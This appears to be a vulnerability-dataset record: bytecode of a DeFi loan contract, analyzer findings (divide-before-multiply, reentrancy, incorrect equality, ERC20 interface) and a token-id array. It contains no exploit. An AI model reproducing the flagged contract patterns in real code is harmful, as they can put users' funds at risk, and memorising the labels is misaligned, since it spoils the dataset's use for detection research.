2565b6106446110f0565b60408051958652602086019490945284840192909252606084015215156080830152519081900360a00190f35b61040561120f565b6104ec6004803603602081101561068f57600080fd5b50356001600160a01b0316611215565b610405600480360360208110156106b557600080fd5b50356001600160a01b031661122a565b610405611293565b6104ec6112b7565b61041f6112c0565b6105186112e4565b61041f611323565b610405611347565b61040561134d565b6104056004803603602081101561071357600080fd5b50356001600160a01b0316611371565b61041f61138c565b6104056113b0565b61041f6113d4565b6107436113f8565b60408051938452602084019290925282820152519081900360600190f35b61041f61151a565b61051861153e565b6105186116a1565b6105186004803603602081101561078f57600080fd5b50356001600160a01b03166116b1565b610518600480360360408110156107b557600080fd5b506001600160a01b0381351690602001351515611786565b6104436117f6565b610518600480360360208110156107eb57600080fd5b5035611857565b6104ec6004803603604081101561080857600080fd5b506001600160a01b038135169060200135611dff565b6104ec6004803603604081101561083457600080fd5b506001600160a01b038135169060200135611e6d565b610405611e81565b61041f611e87565b610405611eab565b610405611eb1565b610405611eb7565b610405611edb565b610405611ffa565b610405612000565b610405612006565b61051861202a565b610405600480360360208110156108b057600080fd5b5035612073565b610405600480360360408110156108cd57600080fd5b506001600160a01b03813581169160200135166121a0565b6104056121cb565b61041f6121d1565b6105186004803603604081101561090b57600080fd5b506001600160a01b0381351690602001356121f5565b61040561231b565b61040561233f565b6001600160a01b0381166000908152600860205260409020545b919050565b7f0000000000000000000000007d622bb6ed13a599ec96366fa95f2452c64ce60281565b60038054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610a005780601f106109d557610100808354040283529160200191610a00565b820191906000526020600020905b8154815290600101906020018083116109e357829003601f168201915b5050505050905090565b600d5481565b6000610a24610a1d6123fe565b8484612402565b5060015b92915050565b7f0000000000000000000000004dc20fcb332e7884e36a8c517af57288b06b973a81565b7f000000000000000000000000908cc851bc757248514e060ad8bd0a03908308ee81565b610a7e6124ee565b610a8860016125be565b7351a189ccd2eb5e1168ddca7e59f7c8f39aa52232639b3134e1600c547f00000000000000000000000000000000000000000000000000000000000697807f000000000000000000000000908cc851bc757248514e060ad8bd0a03908308ee610af033611371565b610af8610e37565b6040518663ffffffff1660e01b815260040180868152602001858152602001846001600160a01b03166001600160a01b031681526020018381526020018281526020019550505050505060206040518083038186803b158015610b5a57600080fd5b505af4158015610b6e573d6000803e3d6000fd5b505050506040513d6020811015610b8457600080fd5b5051610bc9576040805162461bcd60e51b815260206004820152600f60248201526e4c3a4641494c45445f544f5f4c495160881b604482015290519081900360640190fd5b60408051635432274f60e01b81526001600160a01b037f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c599811660048301527f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48811660248301527f000000000000000000000000908cc851bc757248514e060ad8bd0a03908308ee811660448301527f0000000000000000000000004dc20fcb332e7884e36a8c517af57288b06b973a16606482015281517351a189ccd2eb5e1168ddca7e59f7c8f39aa5223292635432274f9260848082019391829003018186803b158015610cb757600080fd5b505af4158015610ccb573d6000803e3d6000fd5b505050506040513d6040811015610ce157600080fd5b508051602090910151601455601355610cf8612624565b600e5460145411610d2557601454600e54610d189163ffffffff6126a216565b600e819055601555610da0565b600e54601454610d3a9163ffffffff6126a216565b60168190556000600e55610da0906001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4816907f00000000000000000000000000de9777b739b7d08bb0910ceac92e0dbc2849bf9063ffffffff6126e416565b610da86110c2565b600a805461ff001916610400179055601354601454601654601554604080519485526020850193909352838301919091526060830152517f4152c73dd2614c4f9fc35e8c9cf16013cd588c75b49a4c1673ecffdcbcda94039181900360800190a1604051600080516020613eb18339815191529060049080825b60ff16815260200191505060405180910390a1565b60025490565b600e5481565b7f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4881565b6000610e74848484612736565b610eea84610e806123fe565b610ee585604051806060016040528060288152602001613fc4602891396001600160a01b038a16600090815260016020526040812090610ebe6123fe565b6001600160a01b03168152602081019190915260400160002054919063ffffffff61286216565b612402565b5060015b9392505050565b610efd6124ee565b610f056128f9565b604080516370a0823160e01b8152306004820181905291516001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48169291600080516020613ef48339815191529184916370a08231916024808301926020929190829003018186803b158015610f8057600080fd5b505afa158015610f94573d6000803e3d6000fd5b505050506040513d6020811015610faa57600080fd5b505160408051918252519081900360200190a3565b600a54610100900460ff1681565b7f0000000000000000000000000eb96a53ec793a244876b018073f33b23000f25b81565b60055460ff1690565b60125481565b6000610a2461100d6123fe565b84610ee5856001600061101e6123fe565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff61295116565b60145481565b6110626129ab565b61106a612a42565b565b6001600160a01b038116600090815260086020526040812054610a28906110928461122a565b9063ffffffff6126a216565b7f000000000000000000000000000000000000000000000000000000000000005a81565b60006110cc612ae0565b9050600081136110dc575061106a565b6110ed6110e882612b95565b612bda565b50565b60008060008060007351a189ccd2eb5e1168ddca7e59f7c8f39aa5223263f7dd03107f0000000000000000000000007d622bb6ed13a599ec96366fa95f2452c64ce602600c547f0000000000000000000000008dc5aa328142aa8a008c25f66a77eaa8e4b46f3c6040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b03168152602001838152602001826001600160a01b03166001600160a01b03168152602001935050505060a06040518083038186803b1580156111bd57600080fd5b505af41580156111d1573d6000803e3d6000fd5b505050506040513d60a08110156111e757600080fd5b5080516020820151604083015160608401516080909401519299919850965091945092509050565b60155481565b600b6020526000908152604090205460ff1681565b6001600160a01b038116600090815260076020526040812054600160801b90611285906112809061127461126f61126088611371565b6006549063ffffffff6123a516565b612cda565b9063ffffffff612d1b16565b612b95565b8161128c57fe5b0492915050565b7f000000000000000000000000000000000000000000000000000000000000035281565b600a5460ff1690565b7f0000000000000000000000008dc5aa328142aa8a008c25f66a77eaa8e4b46f3c81565b6112ec6124ee565b6112f660016125be565b60008060006113036113f8565b9250925092506000600d8190555061131e8383836000612d80565b505050565b7f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4881565b600f5481565b7f000000000000000000000000000000000000000000000000000000000006978081565b6001600160a01b031660009081526020819052604090205490565b7f000000000000000000000000e9d4ca4690fff31e2999e0831089a36a0c7a58df81565b7f00000000000000000000000000000000000000000000000000000000000d2f0081565b7f000000000000000000000000e88ab4cf1ec06840d16fed69c964ad9daff5c6c281565b600c546040805163348f8f0560e11b81526001600160a01b037f0000000000000000000000007d622bb6ed13a599ec96366fa95f2452c64ce6028116600483015260248201939093527f0000000000000000000000008dc5aa328142aa8a008c25f66a77eaa8e4b46f3c831660448201527f000000000000000000000000e88ab4cf1ec06840d16fed69c964ad9daff5c6c292909216606483015251600091829182917351a189ccd2eb5e1168ddca7e59f7c8f39aa522329163691f1e0a91608480820192606092909190829003018186803b1580156114d757600080fd5b505af41580156114eb573d6000803e3d6000fd5b505050506040513d606081101561150157600080fd5b5080516020820151604090920151909591945092509050565b7f00000000000000000000000000de9777b739b7d08bb0910ceac92e0dbc2849bf81565b6115466124ee565b61155060006125be565b604080516306742b0f60e01b81526001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48811660048301527f000000000000000000000000e9d4ca4690fff31e2999e0831089a36a0c7a58df1660248201527f00000000000000000000000000000000000000000000000000000000613facf060448201527f00000000000000000000000000000000000000000000000000000000000d2f00606482015290517351a189ccd2eb5e1168ddca7e59f7c8f39aa52232916306742b0f916084808301926020929190829003018186803b15801561163e57600080fd5b505af4158015611652573d6000803e3d6000fd5b505050506040513d602081101561166857600080fd5b50516012556116756110c2565b600a805461ff001916610300179055604051600080516020613eb1833981519152906003908082610e22565b6116a96129ab565b61106a612fd7565b7351a189ccd2eb5e1168ddca7e59f7c8f39aa5223263a89d5ddb827f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486117167f000000000000000000000000908cc851bc757248514e060ad8bd0a03908308ee613058565b604080516001600160e01b031960e087901b1681526001600160a01b03948516600482015292841660248401529216604482015290516064808301926000929190829003018186803b15801561176b57600080fd5b505af415801561177f573d6000803e3d6000fd5b5050505050565b61178e6124ee565b6117966130a7565b6001600160a01b0382166000818152600b6020908152604091829020805460ff1916851515908117909155825190815291517fa30926bb66c297ef5b745add0851be86e54885064eeb08b3dec89c878e53e9e69281900390910190a25050565b60048054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610a005780601f106109d557610100808354040283529160200191610a00565b61185f6124ee565b6118676130a7565b61187160006125be565b600061189c7f000000000000000000000000908cc851bc757248514e060ad8bd0a03908308ee613058565b90507f000000000000000000000000e9d4ca4690fff31e2999e0831089a36a0c7a58df7f000000000000000000000000000000000000000000000000000000e8d4a5100083101561192b576040805162461bcd60e51b8152602060048201526014602482015273130e90535517d31517d49154555154d517d0535560621b604482015290519081900360640190fd5b611933613115565b83111561197d576040805162461bcd60e51b8152602060048201526013602482015272130e90535517d1d517d1955391115117d05355606a1b604482015290519081900360640190fd5b600e8390556119b2427f0000000000000000000000000000000000000000000000000000000000278d0063ffffffff61295116565b600c55600a805461ff001916610100179055611a4a7f00000000000000000000000000de9777b739b7d08bb0910ceac92e0dbc2849bf7f0000000000000000000000004dc20fcb332e7884e36a8c517af57288b06b973a611a1286612073565b6001600160a01b037f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c5991692919063ffffffff6131de16565b6000826001600160a01b031663cc32d1766040518163ffffffff1660e01b815260040160206040518083038186803b158015611a8557600080fd5b505afa158015611a99573d6000803e3d6000fd5b505050506040513d6020811015611aaf57600080fd5b505160408051630b5096bd60e11b815290519192506000916001600160a01b038616916316a12d7a916004808301926020929190829003018186803b158015611af757600080fd5b505afa158015611b0b573d6000803e3d6000fd5b505050506040513d6020811015611b2157600080fd5b50516040805163a5a2760560e01b815290519192506000916001600160a01b0387169163a5a27605916004808301926020929190829003018186803b158015611b6957600080fd5b505afa158015611b7d573d6000803e3d6000fd5b505050506040513d6020811015611b9357600080fd5b505190506000611bbb612710611baf898663ffffffff6123a516565b9063ffffffff61236316565b601181905590506000611bda612710611baf8a8863ffffffff6123a516565b9050611be7868483613238565b611c25867f00000000000000000000000000de9777b739b7d08bb0910ceac92e0dbc2849bf611c20856110928d8763ffffffff6126a216565b613238565b611c3182611092613115565b601281905550856001600160a01b0316639890220b6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015611c7257600080fd5b505af1158015611c86573d6000803e3d6000fd5b50505050611c926110c2565b611c9a612624565b611ca26132b5565b611caa613320565b7f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486001600160a01b0316836001600160a01b0316600080516020613ef48339815191527f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486001600160a01b03166370a08231876040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015611d6357600080fd5b505afa158015611d77573d6000803e3d6000fd5b505050506040513d6020811015611d8d57600080fd5b505160408051918252519081900360200190a360408051600181529051600080516020613eb18339815191529181900360200190a16040805189815290517febf485edb8aa02238294ff7cda84b77f5afafa105e34f3bbf866534b7b5bd40e9181900360200190a15050505050505050565b6000610a24611e0c6123fe565b84610ee5856040518060600160405280602581526020016140836025913960016000611e366123fe565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff61286216565b6000610a24611e7a6123fe565b8484612736565b60095481565b7f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c59981565b60115481565b600c5481565b7f000000000000000000000000000000000000000000000000000000000000000081565b600080611ee661339b565b90507395f9676a34af2675b63948ddba8f8c798741a52a63c1e37186611f2b7f000000000000000000000000908cc851bc757248514e060ad8bd0a03908308ee613058565b6040805160e084901b6001600160e01b03191681526001600160a01b0392831660048201527f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c599831660248201527f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48909216604483015260648201859052516084808301926020929190829003018186803b158015611fc857600080fd5b505af4158015611fdc573d6000803e3d6000fd5b505050506040513d6020811015611ff257600080fd5b505191505090565b60135481565b60165481565b7f00000000000000000000000000000000000000000000000000000000613facf081565b6120326124ee565b61203c60016125be565b60008060008061204a6110f0565b600d8054600019019055939750919550935090915061206d905084848484612d80565b50505050565b60408051630f6a160160e31b81526001600160a01b037f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c599811660048301527f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48811660248301527f000000000000000000000000000000000000000000000000000000000000000060448301527f000000000000000000000000908cc851bc757248514e060ad8bd0a03908308ee1660648201526084810183905290516000917351a189ccd2eb5e1168ddca7e59f7c8f39aa5223291637b50b0089160a480820192602092909190829003018186803b15801561216e57600080fd5b505af4158015612182573d6000803e3d6000fd5b505050506040513d602081101561219857600080fd5b505192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60105481565b7f000000000000000000000000ee3e59d381968f4f9c92460d9d5cfcf5d3a6798781565b600a5460ff1615612240576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6122486124ee565b61225260006125be565b61225a613433565b612262613686565b6122bd6001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4816337f000000000000000000000000e9d4ca4690fff31e2999e0831089a36a0c7a58df8463ffffffff6131de16565b60006122c882613722565b90506122d483826137c7565b6040805183815290516001600160a01b038516917f726d5f1a838fe31748f737fa3ae5539ccff95952adfc593a1299532b643ff7a8919081900360200190a261131e6132b5565b7f000000000000000000000000000000000000000000000000000000e8d4a5100081565b7f0000000000000000000000000000000000000000000000000000000000278d0081565b6000610eee83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061386e565b6000826123b457506000610a28565b828202828482816123c157fe5b0414610eee5760405162461bcd60e51b8152600401808060200182810382526021815260200180613fa36021913960400191505060405180910390fd5b3390565b6001600160a01b0383166124475760405162461bcd60e51b81526004018080602001828103825260248152602001806140116024913960400191505060405180910390fd5b6001600160a01b03821661248c5760405162461bcd60e51b8152600401808060200182810382526022815260200180613f146022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6125177f000000000000000000000000908cc851bc757248514e060ad8bd0a03908308ee613058565b6001600160a01b031663425fad586040518163ffffffff1660e01b815260040160206040518083038186803b15801561254f57600080fd5b505afa158015612563573d6000803e3d6000fd5b505050506040513d602081101561257957600080fd5b50511561106a576040805162461bcd60e51b815260206004820152600e60248201526d130e941493d513d7d4105554d15160921b604482015290519081900360640190fd5b8060048111156125ca57fe5b600a54610100900460ff1660048111156125e057fe5b146110ed576040805162461bcd60e51b815260206004820152600f60248201526e4c3a494e56414c49445f535441544560881b604482015290519081900360640190fd5b7f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c5996001600160a01b03167f0000000000000000000000004dc20fcb332e7884e36a8c517af57288b06b973a6001600160a01b0316600080516020613ef483398151915261268f61339b565b60408051918252519081900360200190a3565b6000610eee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612862565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261131e9084906138d3565b612741838383613984565b600061275b61126f836006546123a590919063ffffffff16565b6001600160a01b03851660009081526007602052604081205491925090612788908363ffffffff612d1b16565b6001600160a01b03808716600090815260076020526040808220849055918716815290812054919250906127c2908463ffffffff613aeb16565b6001600160a01b0380871660009081526007602090815260409182902084905581518681529151939450918916927ff694bebd33ada288ae2f4485315db76739e2d5501daf315e71c9d8f841aa7773929181900390910190a26040805182815290516001600160a01b038716917ff694bebd33ada288ae2f4485315db76739e2d5501daf315e71c9d8f841aa7773919081900360200190a2505050505050565b600081848411156128f15760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156128b657818101518382015260200161289e565b50505050905090810190601f1680156128e35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000612903613b50565b905080156110ed576129456001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4816338363ffffffff6126e416565b61294d612ae0565b5050565b600082820183811015610eee576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b336001600160a01b037f00000000000000000000000000de9777b739b7d08bb0910ceac92e0dbc2849bf1614806129f15750336000908152600b602052604090205460ff165b61106a576040805162461bcd60e51b815260206004820152601760248201527f4c3a4e4f545f424f52524f5745525f4f525f41444d494e000000000000000000604482015290519081900360640190fd5b600a5460ff16612a90576040805162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015290519081900360640190fd5b600a805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa612ac36123fe565b604080516001600160a01b039092168252519081900360200190a1565b600954604080516370a0823160e01b81523060048201529051600092916001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4816916370a0823191602480820192602092909190829003018186803b158015612b4e57600080fd5b505afa158015612b62573d6000803e3d6000fd5b505050506040513d6020811015612b7857600080fd5b50516009819055612b8f908263ffffffff613aeb16565b91505090565b600080821215612bd6576040805162461bcd60e51b8152602060048201526007602482015266534d493a4e454760c81b604482015290519081900360640190fd5b5090565b6000612be4610e37565b11612c28576040805162461bcd60e51b815260206004820152600f60248201526e4644543a5a45524f5f535550504c5960881b604482015290519081900360640190fd5b80612c32576110ed565b612c69612c3d610e37565b612c5183600160801b63ffffffff6123a516565b81612c5857fe5b60065491900463ffffffff61295116565b60065560408051828152905133917f26536799ace2c3dbe12e638ec3ade6b4173dcf1289be0a58d51a5003015649bd919081900360200190a260065460408051918252517f1f8d7705f31c3337a080803a8ad7e71946fb88d84738879be2bf402f97156e969181900360200190a150565b80600081121561094b576040805162461bcd60e51b815260206004820152600760248201526629a6aa9d27a7a160c91b604482015290519081900360640190fd5b6000828201818312801590612d305750838112155b80612d455750600083128015612d4557508381125b610eee5760405162461bcd60e51b8152600401808060200182810382526021815260200180613f5c6021913960400191505060405180910390fd5b600d54601054612d96908463ffffffff61295116565b6010558315612db657600f54612db2908563ffffffff61295116565b600f555b8015612e1457600c54612def907f0000000000000000000000000000000000000000000000000000000000278d0063ffffffff61295116565b600c558315612e0f57600e54612e0b908563ffffffff6126a216565b600e555b612f17565b6000600e819055600a805461ff001916610200179055600c556001600160a01b037f0000000000000000000000004dc20fcb332e7884e36a8c517af57288b06b973a1663f2d5d56b7f00000000000000000000000000de9777b739b7d08bb0910ceac92e0dbc2849bf612e8561339b565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b158015612ed457600080fd5b505af1158015612ee8573d6000803e3d6000fd5b50505050612ef4612624565b60408051600281529051600080516020613eb18339815191529181900360200190a15b612f526001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb481633308863ffffffff6131de16565b612f5a6110c2565b7fd0eb4a53827b5b6d9df4e56deb84ebbed98927c1d73f2468eef32f3c286d7a6085858584600e5460008711612f91576000612f95565b600c545b604080519687526020870195909552858501939093526060850191909152608084015260a083015284151560c0830152519081900360e00190a161177f613320565b600a5460ff1615613022576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b600a805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258612ac36123fe565b6000816001600160a01b031663c31245256040518163ffffffff1660e01b815260040160206040518083038186803b15801561309357600080fd5b505afa158015612182573d6000803e3d6000fd5b336001600160a01b037f00000000000000000000000000de9777b739b7d08bb0910ceac92e0dbc2849bf161461106a576040805162461bcd60e51b815260206004820152600e60248201526d261d2727aa2fa127a92927aba2a960911b604482015290519081900360640190fd5b60007f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486001600160a01b03166370a082317f000000000000000000000000e9d4ca4690fff31e2999e0831089a36a0c7a58df6040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156131ad57600080fd5b505afa1580156131c1573d6000803e3d6000fd5b505050506040513d60208110156131d757600080fd5b5051905090565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261206d9085906138d3565b826001600160a01b031663f2d5d56b83836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561329857600080fd5b505af11580156132ac573d6000803e3d6000fd5b50505050505050565b7f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486001600160a01b03167f000000000000000000000000e9d4ca4690fff31e2999e0831089a36a0c7a58df6001600160a01b0316600080516020613ef483398151915261268f613115565b604080516370a0823160e01b8152306004820181905291516001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48169291600080516020613ef48339815191529184916370a08231916024808301926020929190829003018186803b158015610f8057600080fd5b60007f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c5996001600160a01b03166370a082317f0000000000000000000000004dc20fcb332e7884e36a8c517af57288b06b973a6040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156131ad57600080fd5b6000336001600160a01b03166316f0115b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561346e57600080fd5b505afa158015613482573d6000803e3d6000fd5b505050506040513d602081101561349857600080fd5b5051604080516303526ce360e21b815290519192506000916001600160a01b03841691630d49b38c916004808301926020929190829003018186803b1580156134e057600080fd5b505afa1580156134f4573d6000803e3d6000fd5b505050506040513d602081101561350a57600080fd5b505190506135377f000000000000000000000000908cc851bc757248514e060ad8bd0a03908308ee613058565b6001600160a01b031663107c0240826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561358c57600080fd5b505afa1580156135a0573d6000803e3d6000fd5b505050506040513d60208110156135b657600080fd5b505180156136425750806001600160a01b0316635b16ebb7836040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561361557600080fd5b505afa158015613629573d6000803e3d6000fd5b505050506040513d602081101561363f57600080fd5b50515b61294d576040805162461bcd60e51b815260206004820152601060248201526f261d24a72b20a624a22fa622a72222a960811b604482015290519081900360640190fd5b6136d67f00000000000000000000000000000000000000000000000000000000613facf07f00000000000000000000000000000000000000000000000000000000000d2f0063ffffffff61295116565b42111561106a576040805162461bcd60e51b8152602060048201526015602482015274130e941054d517d1955391125391d7d411549253d1605a1b604482015290519081900360640190fd5b6000610a287f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561378057600080fd5b505afa158015613794573d6000803e3d6000fd5b505050506040513d60208110156137aa57600080fd5b5051600a0a611baf84670de0b6b3a764000063ffffffff6123a516565b6137d18282613bd5565b60006138136137ee61126f846006546123a590919063ffffffff16565b6001600160a01b0385166000908152600760205260409020549063ffffffff613aeb16565b6001600160a01b0384166000818152600760209081526040918290208490558151848152915193945091927ff694bebd33ada288ae2f4485315db76739e2d5501daf315e71c9d8f841aa7773929181900390910190a2505050565b600081836138bd5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156128b657818101518382015260200161289e565b5060008385816138c957fe5b0495945050505050565b6060613928826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316613cd19092919063ffffffff16565b80519091501561131e5780806020019051602081101561394757600080fd5b505161131e5760405162461bcd60e51b815260040180806020018281038252602a815260200180614059602a913960400191505060405180910390fd5b6001600160a01b0383166139c95760405162461bcd60e51b8152600401808060200182810382526025815260200180613fec6025913960400191505060405180910390fd5b6001600160a01b038216613a0e5760405162461bcd60e51b8152600401808060200182810382526023815260200180613ed16023913960400191505060405180910390fd5b613a1983838361131e565b613a5c81604051806060016040528060268152602001613f36602691396001600160a01b038616600090815260208190526040902054919063ffffffff61286216565b6001600160a01b038085166000908152602081905260408082209390935590841681522054613a91908263ffffffff61295116565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000818303818312801590613b005750838113155b80613b155750600083128015613b1557508381135b610eee5760405162461bcd60e51b81526004018080602001828103825260248152602001806140356024913960400191505060405180910390fd5b6000613b5b3361106c565b3360009081526008602052604081205491925090613b7f908363ffffffff61295116565b336000818152600860209081526040918290208490558151868152908101849052815193945091927ffbc3a599b784fe88772fc5abcc07223f64ca0b13acc341f4fb1e46bef0510eb49281900390910190a25090565b6001600160a01b038216613c30576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b613c3c6000838361131e565b600254613c4f908263ffffffff61295116565b6002556001600160a01b038216600090815260208190526040902054613c7b908263ffffffff61295116565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6060613ce08484600085613ce8565b949350505050565b606082471015613d295760405162461bcd60e51b8152600401808060200182810382526026815260200180613f7d6026913960400191505060405180910390fd5b613d3285613e44565b613d83576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310613dc25780518252601f199092019160209182019101613da3565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114613e24576040519150601f19603f3d011682016040523d82523d6000602084013e613e29565b606091505b5091509150613e39828286613e4a565b979650505050505050565b3b151590565b60608315613e59575081610eee565b825115613e695782518084602001fd5b60405162461bcd60e51b81526020600482018181528451602484015284518593919283926044019190850190808383600083156128b657818101518382015260200161289e56fe400243eaf4da5ecbc2c6f2453605068a362c65ff9212fc60b58289b7e09d220945524332303a207472616e7366657220746f20746865207a65726f20616464726573732047d1633ff7768462ae07d28cb16e484203bfd6d85ce832494270ebcd9081a245524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63655369676e6564536166654d6174683a206164646974696f6e206f766572666c6f77416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735369676e6564536166654d6174683a207375627472616374696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f74207375636365656445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d2590c75d517c40c26e5ced3921915b365df606e193d51a42f29b7cd42d4b47f64736f6c634300060b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2063, 24594, 2629, 16409, 2094, 2692, 2278, 2509, 2278, 23777, 2683, 2581, 4783, 27421, 2620, 2063, 2692, 26976, 2497, 2475, 2063, 2692, 9468, 12521, 2581, 16703, 2497, 2487, 2497, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 12943, 24759, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 1013, 1013, 2002, 2615, 2213, 1024, 16379, 4216, 1997, 8311, 1013, 5414, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1027, 1014, 1012, 1020, 1012, 2340, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1028, 1027, 1014, 1012, 1020, 1012, 1016, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 8311, 1013, 19706, 1013, 24582, 14511, 24932, 8095, 7432, 2121, 1012, 14017, 1013, 1008, 102 ]
